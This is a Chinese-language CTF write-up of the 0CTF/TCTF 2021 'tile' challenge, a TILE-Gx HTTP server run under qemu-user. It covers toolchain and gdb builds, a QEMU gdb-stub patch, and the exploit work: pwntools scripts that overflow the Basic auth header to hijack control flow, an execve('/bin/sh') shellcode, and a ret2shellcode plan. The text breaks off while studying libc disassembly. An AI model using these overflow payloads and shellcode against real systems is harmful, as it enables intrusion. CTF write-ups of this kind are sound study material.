0CTF / TCTF 2021 tile

Tile-gx指令集的linux用户态程序,除了qemu-user可以运行这个程序以外,没有任何的辅助工具,并且该架构的qemu-userqemu-tilegx没有实现-g的调试功能。所以其他工具(逆向、调试、编译shellcode)全部要自己找到或者搞定,做题时找到并且编译了这个架构的gdb客户端和交叉编译工具,以及对qemu源码魔改了一个此架构下能读写寄存器的gdb桩。运行发现,此程序的功能是以标准输入输出为接口的httpsevrer。有了查看寄存器的能力后,即对此程序瞎发包进行测试,最终在basic认证处发现了不确定是不是栈溢出的控制流劫持。因为是qemu-user,没有NX,还给了和远程环境一样的docker,故ret2shellcode即可。比赛时这题只有More Smoked Leet Chicken和我们Redbud做出来了,老外的解法更正统和出色。

工具

因为给的docker环境是ubuntu20.04,所以最后的各种环境也都是在自己的20.04的虚拟机完成的。

模拟运行:qemu

题目没有很过分,至少给你运行起来了,分析dockerfile以及xinetd的配置文件:

FROM ubuntu:20.04

ARG DEBIAN_FRONTEND=noninteractive
ENV TZ=Asia/Shanghai

RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/ftp.sjtu.edu.cn/g" /etc/apt/sources.list && \
    apt-get update && apt-get -y dist-upgrade && \
    apt-get install -y xinetd qemu-user

ctf.xinetd

service ctf
{
    disable = no
    socket_type = stream
    protocol    = tcp
    wait        = no
    user        = ctf
    type        = UNLISTED
    port        = 9999
    bind        = 0.0.0.0
    server      = /usr/bin/qemu-tilegx
    # replace helloworld to your program
    server_args = -L /home/ctf/ /home/ctf/httpd /home/ctf/html
    banner_fail = /etc/banner_fail
    # safety options
    per_source	= 10 # the maximum instances of this service per source IP address
    rlimit_cpu	= 20 # the maximum number of CPU seconds that the service may use
    #rlimit_as  = 1024M # the Address Space resource limit for the service
    #access_times = 2:00-9:00 12:00-24:00
}

发现就是用的ubuntu20.04下的apt安装的qemu:

https://blueprints.launchpad.net/ubuntu/+source/qemu/1:4.2-3ubuntu6.17

于是在本地的虚拟机中也尝试安装:

  uname -a
Linux ubuntu 5.8.0-59-generic #66~20.04.1-Ubuntu SMP Thu Jun 17 11:14:10 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
  qemu-tilegx --version
qemu-tilegx version 4.2.1 (Debian 1:4.2-3ubuntu6.16)
Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers

后来因为发现这里的qemu-user的-g调试不好使,于是便怀疑是不是版本低,尝试在ubuntu21.04中安装qemu,结果发现这个指令集在新版本中不支持了:https://wiki.qemu.org/ChangeLog/6.0#TileGX

逆向工具:ida

可以运行了,于是我们接下来静态的分析程序逻辑,不过发现IDA和ghidra均不支持此架构,网上搜索到IDA的插件:

其中readme写到:

The build process has been tested with IDA Pro 7.3 on Linux (Ubuntu 18.04). 

to build and install the plugin. Currently only the Linux makefile is working, building on Windows or MacOS is not supported.

需要linux平台的IDA7.3,没有,放弃。所以逆向的希望也只能靠找到交叉编译工具链然后objdump来看了,赛后发现做出本题的老外也是没有linux的IDA,然后人家是用objdump然后手动逆向的:

虽然用不了这个插件,但是这个插件的代码也是不错的学习资料,在后文我们会再次见到他。

编译工具链:gcc

所以继续来找交叉编译工具链,本地编译许久未果,尝试buildroot发现其中也并不包含此架构,查找到一些这个架构的文章:

网上到了编译好的二进制:

另外还发现了:

一个是archlinux,一个是centos,这俩系统上应该直接就有编译好的tilegx的交叉编译工具,所以腾讯云换个centos的镜像,然后直接yum安装即可:

[root@VM-8-11-centos ~]$ cat /etc/redhat-release
CentOS Linux release 7.9.2009 (Core)

[root@VM-8-11-centos ~]$ yum update
CentOS Linux release 7.9.2009 (Core)

[root@VM-8-11-centos ~]$ yum search tile gcc
Loaded plugins: fastestmirror, langpacks
Loading mirror speeds from cached hostfile
================================================================================================================================== N/S matched: tile, gcc ==================================================================================================================================
gcc-c++-tile-linux-gnu.x86_64 : Cross-build binary utilities for tile-linux-gnu
gcc-tile-linux-gnu.x86_64 : Cross-build binary utilities for tile-linux-gnu

[root@VM-8-11-centos ~]$ yum install gcc-tile-linux-gnu.x86_64

[root@VM-8-11-centos ~]$ tile-linux-gnu-
tile-linux-gnu-addr2line  tile-linux-gnu-cpp        tile-linux-gnu-gprof      tile-linux-gnu-objcopy    tile-linux-gnu-size
tile-linux-gnu-ar         tile-linux-gnu-elfedit    tile-linux-gnu-ld         tile-linux-gnu-objdump    tile-linux-gnu-strings
tile-linux-gnu-as         tile-linux-gnu-gcc        tile-linux-gnu-ld.bfd     tile-linux-gnu-ranlib     tile-linux-gnu-strip
tile-linux-gnu-c++filt    tile-linux-gnu-gcov       tile-linux-gnu-nm         tile-linux-gnu-readelf    

不过无论是网上下载的包,还是centos上yum安装的,都是没有libc支持的gcc,可能自己编译的支持?不知道这题是咋出出来的。不过这影响并不大,因为写shellcode也不需要libc。

调试客户端:gdb

在各种ubuntu版本下安装了gdb-multiarch,发现都没有这个架构,不过发现gdb还是支持这个架构的,所以得自己编译了,编译的方式参考:IoT安全研究视角的交叉编译

首先需要安装个编译过程需要的依赖texinfo

➜  sudo apt-get install texinfo

然后这里我采用了gdb10进行编译,--target=tilegx-linux这个选项是看bfd文件夹下看的,具体之前的文章里也有写:

  wget http://ftp.gnu.org/gnu/gdb/gdb-10.2.tar.gz
  tar -xvzf ./gdb-10.2.tar.gz
  cd gdb-10.2/
  mkdir build
  cd build
  ../configure --target=tilegx-linux --prefix=/home/xuanxuan/Desktop/tilegdb
  make -j 4 && make install

编译完之后,就可以在--prefix制定目录下的bin目录看到编译好的gdb二进制程序:

  pwd
/home/xuanxuan/Desktop/tilegdb/bin
  ls
tilegx-linux-gdb  tilegx-linux-gdb-add-index
  ./tilegx-linux-gdb -q
(gdb) set architecture 
auto      tilegx    tilegx32  
(gdb) set architecture tilegx
The target architecture is set to "tilegx".
(gdb) set endian little 
The target is set to little endian.
(gdb) 

调试服务端:qemu

gdb也编好了,但是调试一直不成功,甚至还对gdb远程的协议进行了抓包分析,后来经队友提醒发现,这个架构的qemu没有实现gdb桩:

和抓包分析的结果一致,qemu就没有返回任何寄存器的数据,所以通过抄写其他架构的gdbstub.c以及学习本架构的代码,这里用的是5.2.0的qemu:

➜  wget https://download.qemu.org/qemu-5.2.0.tar.xz
static const char * const reg_names[TILEGX_R_COUNT] = {
     "r0",  "r1",  "r2",  "r3",  "r4",  "r5",  "r6",  "r7",
     "r8",  "r9", "r10", "r11", "r12", "r13", "r14", "r15",
     "r16", "r17", "r18", "r19", "r20", "r21", "r22", "r23",
     "r24", "r25", "r26", "r27", "r28", "r29", "r30", "r31",
     "r32", "r33", "r34", "r35", "r36", "r37", "r38", "r39",
     "r40", "r41", "r42", "r43", "r44", "r45", "r46", "r47",
     "r48", "r49", "r50", "r51",  "bp",  "tp",  "sp",  "lr"
};

#define TILEGX_R_COUNT 56  /* Only 56 registers are really useful */

enum {
    TILEGX_SPR_CMPEXCH = 0,
    TILEGX_SPR_CRITICAL_SEC = 1,
    TILEGX_SPR_SIM_CONTROL = 2,
    TILEGX_SPR_EX_CONTEXT_0_0 = 3,
    TILEGX_SPR_EX_CONTEXT_0_1 = 4,
    TILEGX_SPR_COUNT
};

typedef struct CPUTLGState {
    uint64_t regs[TILEGX_R_COUNT];     /* Common used registers by outside */
    uint64_t spregs[TILEGX_SPR_COUNT]; /* Special used registers by outside */
    uint64_t pc;                       /* Current pc */

static const char * const reg_names[64] = {
     "r0",  "r1",  "r2",  "r3",  "r4",  "r5",  "r6",  "r7",
     "r8",  "r9", "r10", "r11", "r12", "r13", "r14", "r15",
    "r16", "r17", "r18", "r19", "r20", "r21", "r22", "r23",
    "r24", "r25", "r26", "r27", "r28", "r29", "r30", "r31",
    "r32", "r33", "r34", "r35", "r36", "r37", "r38", "r39",
    "r40", "r41", "r42", "r43", "r44", "r45", "r46", "r47",
    "r48", "r49", "r50", "r51",  "bp",  "tp",  "sp",  "lr",
    "sn", "idn0", "idn1", "udn0", "udn1", "udn2", "udn2", "zero"
};

通过以上的代码,大概能猜出来:

  • 0-55: 常用寄存器
  • 56-63: 不常用寄存器
  • 64: pc

然后在不断修改代码调试的过程中发现,gdb还需要65号寄存器:

(gdb) i r
r0             0x0                 0
r1             0x0                 0
r2             0x0                 0
r3             0x0                 0
r4             0x0                 0
r5             0x0                 0
r6             0x0                 0
r7             0x0                 0
r8             0x0                 0
r9             0x0                 0
r10            0x0                 0
r11            0x0                 0
r12            0x0                 0
r13            0x0                 0
r14            0x0                 0
r15            0x0                 0
r16            0x0                 0
r17            0x0                 0
r18            0x0                 0
r19            0x0                 0
r20            0x0                 0
r21            0x0                 0
r22            0x0                 0
r23            0x0                 0
r24            0x0                 0
r25            0x0                 0
r26            0x0                 0
r27            0x0                 0
r28            0x0                 0
r29            0x0                 0
r30            0x0                 0
r31            0x0                 0
r32            0x0                 0
r33            0x0                 0
r34            0x0                 0
r35            0x0                 0
r36            0x0                 0
r37            0x0                 0
r38            0x0                 0
r39            0x0                 0
r40            0x0                 0
r41            0x0                 0
r42            0x0                 0
r43            0x0                 0
r44            0x0                 0
r45            0x0                 0
r46            0x0                 0
r47            0x0                 0
r48            0x0                 0
r49            0x0                 0
r50            0x0                 0
r51            0x0                 0
r52            0x0                 0
tp             0x0                 0
sp             0x400080f540        274886358336
lr             0x0                 0
sn             0x0                 0
idn0           0x0                 0
idn1           0x0                 0
udn0           0x0                 0
udn1           0x0                 0
udn2           0x0                 0
udn3           0x0                 0
zero           0x0                 0
pc             0x4000839440        0x4000839440
faultnum       <unavailable>

最终修改如下:

diff -uprN ./qemu-5.2.0/linux-user/tilegx/cpu_loop.c ./qemu-5.2.0_patch/linux-user/tilegx/cpu_loop.c
--- ./qemu-5.2.0/linux-user/tilegx/cpu_loop.c	2020-12-09 00:59:44.000000000 +0800
+++ ./qemu-5.2.0_patch/linux-user/tilegx/cpu_loop.c	2021-07-05 13:26:52.000000000 +0800
@@ -266,6 +266,10 @@ void cpu_loop(CPUTLGState *env)
         case EXCP_ATOMIC:
             cpu_exec_step_atomic(cs);
             break;
+        case EXCP_INTERRUPT:
+            printf("[+] interrupt\n");
+            /* just indicate that signals should be handled asap */
+            break;
         default:
             fprintf(stderr, "trapnr is %d[0x%x].\n", trapnr, trapnr);
             g_assert_not_reached();
diff -uprN ./qemu-5.2.0/target/tilegx/cpu.c ./qemu-5.2.0_patch/target/tilegx/cpu.c
--- ./qemu-5.2.0/target/tilegx/cpu.c	2021-07-05 13:24:56.000000000 +0800
+++ ./qemu-5.2.0_patch/target/tilegx/cpu.c	2021-07-05 13:28:48.000000000 +0800
@@ -136,6 +136,7 @@ static bool tilegx_cpu_exec_interrupt(CP
 
 static void tilegx_cpu_class_init(ObjectClass *oc, void *data)
 {
+    printf("[+]hello xuanxuan\n");
     DeviceClass *dc = DEVICE_CLASS(oc);
     CPUClass *cc = CPU_CLASS(oc);
     TileGXCPUClass *tcc = TILEGX_CPU_CLASS(oc);
@@ -152,7 +153,9 @@ static void tilegx_cpu_class_init(Object
     cc->dump_state = tilegx_cpu_dump_state;
     cc->set_pc = tilegx_cpu_set_pc;
     cc->tlb_fill = tilegx_cpu_tlb_fill;
-    cc->gdb_num_core_regs = 0;
+    cc->gdb_read_register = tilegx_cpu_gdb_read_register;
+    cc->gdb_write_register = tilegx_cpu_gdb_write_register;
+    cc->gdb_num_core_regs = 66;
     cc->tcg_initialize = tilegx_tcg_init;
 }
 
diff -uprN ./qemu-5.2.0/target/tilegx/cpu.h ./qemu-5.2.0_patch/target/tilegx/cpu.h
--- ./qemu-5.2.0/target/tilegx/cpu.h	2020-12-09 00:59:44.000000000 +0800
+++ ./qemu-5.2.0_patch/target/tilegx/cpu.h	2021-07-05 13:23:24.000000000 +0800
@@ -144,6 +144,8 @@ typedef TileGXCPU ArchCPU;
 
 void tilegx_tcg_init(void);
 int cpu_tilegx_signal_handler(int host_signum, void *pinfo, void *puc);
+int tilegx_cpu_gdb_read_register(CPUState *cpu, GByteArray *buf, int reg);
+int tilegx_cpu_gdb_write_register(CPUState *cpu, GByteArray *buf, int reg);
 
 #define CPU_RESOLVING_TYPE TYPE_TILEGX_CPU
 
diff -uprN ./qemu-5.2.0/target/tilegx/gdbstub.c ./qemu-5.2.0_patch/target/tilegx/gdbstub.c
--- ./qemu-5.2.0/target/tilegx/gdbstub.c	1970-01-01 08:00:00.000000000 +0800
+++ ./qemu-5.2.0_patch/target/tilegx/gdbstub.c	2021-07-04 03:40:31.000000000 +0800
@@ -0,0 +1,44 @@
+#include "qemu/osdep.h"
+#include "cpu.h"
+#include "exec/gdbstub.h"
+
+int tilegx_cpu_gdb_read_register(CPUState *cs, GByteArray *mem_buf, int n)
+{
+    TileGXCPU *cpu = TILEGX_CPU(cs);
+    CPUTLGState *env = &cpu->env;
+
+    switch (n) {
+    case 0 ... 55:
+        return gdb_get_regl(mem_buf, env->regs[n]);
+    case 56 ... 63:
+        return gdb_get_regl(mem_buf, 0);
+    case 64:
+        return gdb_get_regl(mem_buf, env->pc);
+    case 65:
+        return gdb_get_regl(mem_buf, 0);
+    }
+    return 0;
+}
+
+int tilegx_cpu_gdb_write_register(CPUState *cs, GByteArray *mem_buf, int n)
+{
+    TileGXCPU *cpu = TILEGX_CPU(cs);
+    CPUTLGState *env = &cpu->env;
+    uint64_t tmp;
+
+    tmp = ldq_p(mem_buf);
+
+    switch (n) {
+    case 0 ... 55:
+        env->regs[n] = tmp;
+        return 8;
+    case 56 ... 63:
+        return 8;
+    case 64:
+        env->pc = tmp;
+        return 8;
+    case 65:
+        return 8;
+    }
+    return 0;
+}
\ No newline at end of file
diff -uprN ./qemu-5.2.0/target/tilegx/meson.build ./qemu-5.2.0_patch/target/tilegx/meson.build
--- ./qemu-5.2.0/target/tilegx/meson.build	2020-12-09 00:59:44.000000000 +0800
+++ ./qemu-5.2.0_patch/target/tilegx/meson.build	2021-07-04 02:38:02.000000000 +0800
@@ -3,6 +3,7 @@ tilegx_ss.add(files(
   'cpu.c',
   'helper.c',
   'simd_helper.c',
+  'gdbstub.c',
   'translate.c',
 ))
 tilegx_ss.add(zlib)

按照如下方法打patch:

  ls
diff.patch        qemu-5.2.0
  patch -p0 < ./diff.patch
patching file ./qemu-5.2.0/linux-user/tilegx/cpu_loop.c
patching file ./qemu-5.2.0/target/tilegx/cpu.c
patching file ./qemu-5.2.0/target/tilegx/cpu.h
patching file ./qemu-5.2.0/target/tilegx/gdbstub.c
patching file ./qemu-5.2.0/target/tilegx/meson.build

编译前首先按照官方文档安装依赖:https://wiki.qemu.org/Hosts/Linux,然后编译:

  cd qemu-5.2.0/
  mkdir build
  cd build
  ../configure --target-list=tilegx-linux-user
  make -j 4

编译好之后即可在当前目录看到qemu-tilegx

  ls -al ./qemu-tilegx 
-rwxr-xr-x 1 501 dialout 15552024 Jul 21 07:32 ./qemu-tilegx

我们给他改个名以便区分,然后测试一下调试功能:

  ./qemu-tilegx-xuan -g 1234  -L ./ ./httpd ./html
[+]hello xuanxuan

使用刚才编译的gdb进行连接,成功的看到寄存器的状态:

  ./tilegx-linux-gdb -q 
(gdb) target remote :1234
Remote debugging using :1234
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
0x0000004000839440 in ?? ()
(gdb) i r
r0             0x0                 0
r1             0x0                 0
r2             0x0                 0
r3             0x0                 0
r4             0x0                 0
r5             0x0                 0
r6             0x0                 0
r7             0x0                 0
r8             0x0                 0
r9             0x0                 0
r10            0x0                 0
r11            0x0                 0
r12            0x0                 0
r13            0x0                 0
r14            0x0                 0
r15            0x0                 0
r16            0x0                 0
r17            0x0                 0
r18            0x0                 0
r19            0x0                 0
r20            0x0                 0
r21            0x0                 0
r22            0x0                 0
r23            0x0                 0
r24            0x0                 0
r25            0x0                 0
r26            0x0                 0
r27            0x0                 0
r28            0x0                 0
r29            0x0                 0
r30            0x0                 0
r31            0x0                 0
r32            0x0                 0
r33            0x0                 0
r34            0x0                 0
r35            0x0                 0
r36            0x0                 0
r37            0x0                 0
r38            0x0                 0
r39            0x0                 0
r40            0x0                 0
r41            0x0                 0
r42            0x0                 0
r43            0x0                 0
r44            0x0                 0
r45            0x0                 0
r46            0x0                 0
r47            0x0                 0
r48            0x0                 0
r49            0x0                 0
r50            0x0                 0
r51            0x0                 0
r52            0x0                 0
tp             0x0                 0
sp             0x400080f530        274886358320
lr             0x0                 0
sn             0x0                 0
idn0           0x0                 0
idn1           0x0                 0
udn0           0x0                 0
udn1           0x0                 0
udn2           0x0                 0
udn3           0x0                 0
zero           0x0                 0
pc             0x4000839440        0x4000839440
faultnum       0x0                 0

不过断点功能没有实现,因为不太会改,后续可以通过直接对目标代码插入非法指令或者内存错误的指令完成断点附近的状态查看。

调试

至此我们已经基本搞完了所有工具,可以开始调试了

docker

虽然可以在本地调试,不过希望和远程环境尽力一直,所以还是应该在docker里完成最后的调试。所以把编译好的支持gdb的qemu扔到docker里去调试,这里我放到了binary/qemu-tilegx-xuan,然后按照如下方法修改dockerfile:

diff -uprN ./docker/Dockerfile ./docker_patch/Dockerfile
--- ./docker/Dockerfile	2021-07-03 11:51:23.000000000 +0800
+++ ./docker_patch/Dockerfile	2021-07-16 23:54:47.000000000 +0800
@@ -24,9 +24,9 @@ RUN chmod u+s /readflag && \
 
 COPY ./binary/ /home/ctf/
 RUN chown -R root:ctf /home/ctf && \
-    chmod -R 750 /home/ctf
+    chmod -R 750 /home/ctf && \
+    chmod +X /home/ctf/qemu-tilegx-xuan
 
-RUN chmod 750 /bin/sh
 
 RUN apt-get -y autoremove
 RUN apt-get clean && \
@@ -36,4 +36,5 @@ RUN apt-get clean && \
 
 CMD ["/start.sh"]
 
+EXPOSE 1234
 EXPOSE 9999
Binary files ./docker/binary/qemu-tilegx-xuan and ./docker_patch/binary/qemu-tilegx-xuan differ
diff -uprN ./docker/ctf.xinetd ./docker_patch/ctf.xinetd
--- ./docker/ctf.xinetd	2021-07-03 11:50:39.000000000 +0800
+++ ./docker_patch/ctf.xinetd	2021-07-04 15:02:41.000000000 +0800
@@ -8,9 +8,9 @@ service ctf
     type        = UNLISTED
     port        = 9999
     bind        = 0.0.0.0
-    server      = /usr/bin/qemu-tilegx
+    server      = /home/ctf/qemu-tilegx-xuan
     # replace helloworld to your program
-    server_args = -L /home/ctf/ /home/ctf/httpd /home/ctf/html
+    server_args = -g 1234 -L /home/ctf/ /home/ctf/httpd /home/ctf/html
     banner_fail = /etc/banner_fail
     # safety options
     per_source	= 10 # the maximum instances of this service per source IP address

按照如下方法打patch以及运行docker:

  ls
Dockerfile      binary          ctf.xinetd      flag       readflag        start.sh
  patch -p2 < ../docker.patch
patching file Dockerfile
patching file ctf.xinetd
patch unexpectedly ends in middle of line
Hunk #1 succeeded at 8 with fuzz 1.
  cp ../qemu/qemu-5.2.0/build/qemu-tilegx ./binary/qemu-tilegx-xuan
  docker build -t tilegx:debug  .
  docker run -p 1234:1234 -p 9999:9999  -d tilegx:debug

然后使用curl和qemu进行测试,这里我docker是我mac主机(10.11.11.1)起的,gdb是在ubuntu虚拟机里,curl请求应该先卡住:

  curl http://10.11.11.1:9999

然后使用gdb挂上,可以看到入口位置了,然后c继续执行:

  ./tilegx-linux-gdb
(gdb) target remote 10.11.11.1:9999
Remote debugging using 10.11.11.1:9999
Remote connection closed
(gdb) target remote 10.11.11.1:1234
Remote debugging using 10.11.11.1:1234
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
0x0000004000839440 in ?? ()
(gdb) c
Continuing.
[Inferior 1 (process 1) exited normally]
(gdb) 

此时curl应该继续,基本调试环境成功:

  curl http://10.11.11.1:9999
<html>
<head><title>401 Authorization Required</title></head>
<body>
<center><h1>401 Authorization Required</h1></center>
</body>
</html>

另外在分析原来的dockerfile时有发现有一个非常坑的点(其实是在后面exp打不通的时候发现的:

RUN chmod 750 /bin/sh

docker搭起来后,发现的确CTF用户没有权限执行/bin/sh,flag文件也是普通用户无法读取的:

root@6360a0d57b09:/# su ctf
su: failed to execute /bin/sh: Permission denied
root@6360a0d57b09:/# ls -al /flag
-r-------- 1 root root 16 Jul  3 11:50 /flag

所以只能去执行根目录下的/readflag:

root@6360a0d57b09:/# /readflag
[usage] /readflag file
root@6360a0d57b09:/# /readflag /flag
flag{fake_flag}

所以我们最终的shellcode是:execve("/readflag",["/readflag","/flag",0])

gdb

因为上面修改的qemu只实现了寄存器的查看,并没有实现单步调试等功能,这写功能应该在这里实现:

无奈不会改,所以只能搞一些非法访存的指令在目标处,以下是一段execve("/bin/sh")的汇编,怎么写在后文有交代,这里先用他来测试gdb效果,我们在其系统调用swint1指令之前加上ld r3, zero

.global _start
    .text
_start:
     lnk r14
base:
     addi   r0, r14, (shell - base)

     addi   sp, sp, -16
     st     sp, r0
     addi   sp, sp, 8
     st     sp, zero
     addi   r1, sp, -8

     movei  r2,  0
     moveli r10, 221
     ld     r3,  zero
     swint1
shell:
     .ascii "/bin/sh"

编译并执行:

  ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib
  ./qemu-tilegx-xuan -g 1234 ./test

使用gdb调试:

➜  ./tilegx-linux-gdb -q 
/home/xuanxuan/.gdbinit:1: Error in sourced command file:
/home/xuanxuan/Desktop/pwndbg/gdbinit.py:3: Error in sourced command file:
Undefined command: "import".  Try "help".
(gdb) target remote :1234
Remote debugging using :1234
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
0x0000000000010078 in ?? ()
(gdb) x /11i $pc
=> 0x10078:     { lnk r14 }
   0x10080:     { addi r0, r14, 80 }
   0x10088:     { addi sp, sp, -16 }
   0x10090:     { st sp, r0 }
   0x10098:     { addi sp, sp, 8 }
   0x100a0:     { st sp, zero }
   0x100a8:     { addi r1, sp, -8 }
   0x100b0:     { movei r2, 0 }
   0x100b8:     { moveli r10, 221 }
   0x100c0:     { ld r3, zero }
   0x100c8:     { swint1 }
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00000000000100c0 in ?? ()
(gdb) x /1i $pc
=> 0x100c0:     { ld r3, zero }
(gdb) i r
r0             0x100d0             65744
r1             0x400080f540        274886358336
r2             0x0                 0
r3             0x0                 0
r4             0x0                 0
r5             0x0                 0
r6             0x0                 0
r7             0x0                 0
r8             0x0                 0
r9             0x0                 0
r10            0xdd                221
r11            0x0                 0
r12            0x0                 0
(gdb) x /5s 0x100d0
0x100d0:        "/bin/sh"
0x100d8:        ""
0x100d9:        ""
0x100da:        ""
0x100db:        ""
(gdb) x /4gx 0x400080f540
0x400080f540:   0x00000000000100d0      0x0000000000000000
0x400080f550:   0x0000000000000001      0x000000400080f760

的确可以查看到执行系统调用前的内存和寄存器状态,所以这种调试能力已经基本满足做题的需求了。

fuzz

老外是AFL,我是瞎发包发出来的,因为有basic认证,所以就在这里尝试了一些东西,正确的用户名密码可以直接对httpd这个二进制strings出来,最终尝试发送一堆正确的用户名密码成功触发控制流劫持(是不是栈溢出不知道,因为这个程序是有canary的):

from pwn import *
import base64
context(log_level='debug')

payload = b'admin:a0p_s3cr37_!@#'*20
payload = base64.b64encode(payload)

http =  b"GET / HTTP/1.1\n"
http += b"Authorization: Basic "+payload+b'\n\n';
io = remote("127.0.0.1",9999)
io.send(http)
io.interactive()
  python3 exp3.py 
[+] Opening connection to 127.0.0.1 on port 9999: Done
[DEBUG] Sent 0x23e bytes:
    b'GET / HTTP/1.1\n'
    b'Authorization: Basic YWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAIw==\n'
    b'\n'
  ./tilegx-linux-gdb
(gdb) target remote 10.11.11.1
10.11.11.1: No such file or directory.
(gdb) target remote 10.11.11.1:1234
Remote debugging using 10.11.11.1:1234
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
0x0000004000839440 in ?? ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x735f7030613a6e68 in ?? ()
(gdb) 
  python3
>>> bytes.fromhex('735f7030613a6e68')
b's_p0a:nh'

可见溢出的返回地址还是base64编码之前的认证数据,完全可控。然后不断调试,最终控制流劫持的方法如下:

from pwn import *
import base64
context(log_level='debug')

payload = b'admin:a0p_s3cr37_!@#'*8+b'123'+p64(0xdeadbeef)
payload = base64.b64encode(payload)

http =  b"GET / HTTP/1.1\n"
http += b"Authorization: Basic "+payload+b'\n\n';
io = remote("127.0.0.1",9999)
io.send(http)
io.interactive()

利用

因为是qemu-user所以,各种地址全固定,并且没有NX,所以ret2shellcode一把梭,所以两个问题:

  • 怎么将shellcode带进内存里
  • shellcode的地址在哪

我们发送过去的http报文肯定都在内存里,不过shellcode里可能会存在空字符,所以还是搞进base64编码后的认证数据中比较保险,如果采用这种方法,那么shellcode应该就是在base64解码后的内存中

ret2shellcode

我们在劫持的地址之后加上一些特征串,然后继续调试:

from pwn import *
import base64
context(log_level='debug')

payload = b'admin:a0p_s3cr37_!@#'*8+b'123'+p64(0xdeadbeef)+b'xuanxuan'
payload = base64.b64encode(payload)

http =  b"GET / HTTP/1.1\n"
http += b"Authorization: Basic "+payload+b'\n\n';
io = remote("127.0.0.1",9999)
io.send(http)
io.interactive()

当发生控制流劫持时,我发现r11寄存器指向的地址处附近就是特征字符串xuanxuan的存储地址:

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00000000deadbee8 in ?? ()
(gdb) i r
r0             0x0                 0
r1             0x1                 1
r2             0x4000862d00        274886700288
r3             0x1                 1
r4             0x0                 0
r5             0x0                 0
r6             0x0                 0
r7             0x0                 0
r8             0xaaaaaaaaaaaaaae6  12297829382473034470
r9             0xa3d3457593168     2882044780163432
r10            0x400080f928        274886359336
r11            0x1020788           16910216
(gdb) x /20s 0x1020788
0x1020788:      "bnh1YW4=\n"
0x1020792:      ""
0x1020793:      ""
0x1020794:      ""
0x1020795:      ""
0x1020796:      ""
0x1020797:      ""
0x1020798:      "q\370\002"
0x102079c:      ""
0x102079d:      ""
0x102079e:      ""
0x102079f:      ""
0x10207a0:      "admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#123",
0x1020848:      ""
0x1020849:      ""
0x102084a:      ""
0x102084b:      "xuanxuan"
0x1020854:      ""
0x1020855:      ""
0x1020856:      ""

经测试00也是可以送进去的,所以我们将shellcode拼在后面,注意8字节(64bit)对齐,然后调试找一下shellcode的地址,然后ret2shellcode就完事了,所以接下来可以学习如何写shellcode了。

学习汇编

找不到写这个架构汇编的资料时,可以使用objdump的反编译功能,直接学习输出的汇编,这里可以使用tilegx-linux-objdump对libc.so和httpd进行反编译:

$ tilegx-linux-objdump -d ./lib/libc.so.6 > libc.asm
$ tilegx-linux-objdump -d ./httpd > httpd.asm

然后相面得到的结果:

httpd.asm

 10016a8:	180fffe051483000 	{ movei r0, -1 }
 10016b0:	200004d3d1483000 	{ jal 10063e8 <exit@plt> }

libc.asm


00000000000eeb68 <_exit>:
   eeb68:	2863bec010000fc1 	{ moveli r1, 0 ; st sp, lr }
   eeb70:	283bf81bc01c0db6 	{ addi sp, sp, -64 ; move lr, r0 }
   eeb78:	180986ce40138d9d 	{ addi r29, sp, 56 ; addi r28, sp, 48 }
   eeb80:	c79906cd05d28d9b 	{ addi r27, sp, 40 ; addi r26, sp, 32 ; st r29, r51 }
   eeb88:	c797038e05ce075d 	{ addi r29, r29, -32 ; addi r28, r28, -32 ; st r28, r50 }
   eeb90:	2863136010013ff3 	{ moveli r51, 19 ; st r27, r34 }
   eeb98:	df0e400005ae06db 	{ addi r27, r27, -32 ; st r26, r33 }
   eeba0:	286303a0711a8cf3 	{ shl16insli r51, r51, 4520 ; st r29, r32 }
   eeba8:	2862fb8070258040 	{ shl16insli r0, r1, 600 ; st r28, r31 }
   eebb0:	def6701905b5efdf 	{ movei r31, 94 ; lnk r50 ; st r27, r30 }
   eebb8:	180aefef500f2cf3 	{ add r51, r51, r50 ; movei r30, 93 }
   eebc0:	283bfbe5500c0cc0 	{ add r0, r51, r0 ; move r10, r31 }
   eebc8:	286ae80051483000 	{ ld r0, r0 }
   eebd0:	283bfee0500c0d60 	{ add r32, tp, r0 ; move r0, lr }
   eebd8:	286b180051485000 	{ swint1 } 

00000000000eec48 <execve>:
   eec48:	0006efe5401f0db6 	{ addi sp, sp, -16 ; moveli r10, 221 }
   eec50:	180846ced1483000 	{ addi r29, sp, 8 }
   eec58:	28639ba010013ff3 	{ moveli r51, 19 ; st r29, r51 }
   eec60:	286396c0710f0cf3 	{ shl16insli r51, r51, 4336 ; st sp, r50 }
   eec68:	286af01951483000 	{ lnk r50 }
   eec70:	28079679d1483000 	{ add r51, r51, r50 }
   eec78:	286b180051485000 	{ swint1 }
